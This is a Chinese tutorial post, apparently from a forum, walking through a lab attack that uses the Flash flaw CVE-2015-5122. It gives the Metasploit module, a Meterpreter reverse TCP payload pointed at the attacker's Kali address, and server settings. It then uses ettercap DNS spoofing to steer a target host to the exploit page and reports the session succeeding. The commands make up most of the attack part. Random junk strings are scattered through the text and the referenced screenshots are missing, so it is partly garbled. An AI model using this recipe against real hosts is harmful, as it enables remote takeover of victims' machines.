cve2015-5122漏洞实例演示虚拟机

admin

. E' b8 r4 M6 i( n' w+ R! k% } 二、cve2015-5122漏洞实例演示虚拟机

% @( E- D! G E' N' i# ?

0 L* p4 w& m9 T* H0 s   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： / V* S% D" [) T+ k+ I( e1 U7 |- o) |

search cve-2015-5122如图：

$ I; F" J. q" E; x- `  

+ U, {9 L3 I8 i& _( `

下面我们敲如下命令： ; G/ } S. h3 V- @

use exploit/multi/browser/adobe_flash_opaque_background_uaf

set PAYLOAD windows/meterpreter/reverse_tcp 1 M4 Y# I3 O1 n+ Q# w2 R: N

1 K* { K, p- w

set LHOST 192.168.0.109

W7 @8 T. M2 \+ _9 C

& ^4 l2 M( j# M0 E) d0 z! j set URIPATH /                        /*根目录*/ : r/ q5 Z9 X# _$ f! x, f6 h

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 " Q! _) _% ?# O' }8 Z

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

. Q, o. U$ P% ~: @& y

/ J2 ~" c" G4 p 然后show options如图： ! p' b4 p# k, l5 z. Z

6 e( w; n) {1 ?! r8 h   * ]6 w6 p5 L9 g7 C: Z

# X5 }& ^% ]* O5 D8 O* V) N* U

! j! ?3 q& a2 |1 ] u# @ 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
+ |; I1 t9 |4 W8 q' y( ]' T1 k 6 f3 `0 D# C/ A! N3 S

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 $ q0 m$ E6 _ P9 k' p9 y

( a, P k5 L, _4 r+ [

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf ! @" E1 y, V" I/ w% g

 

* _ E5 l& ]% F; }

成功了，这时候我们断开ettercap，如图： - S3 [% E* Z1 O& I0 e% a' n, b

  % m+ I$ C, [; d; g: m) S6 M1 K

9 A0 k8 w# N+ ^& t2 S3 ? Screenshot如图： & }" Y# U8 o$ }, J8 B7 ?. l& w

 

H3 L1 y: Q1 K2 v# G2 e- o% E, ?3 i

# W q1 _1 H/ F3 @ " d+ U2 \5 X6 U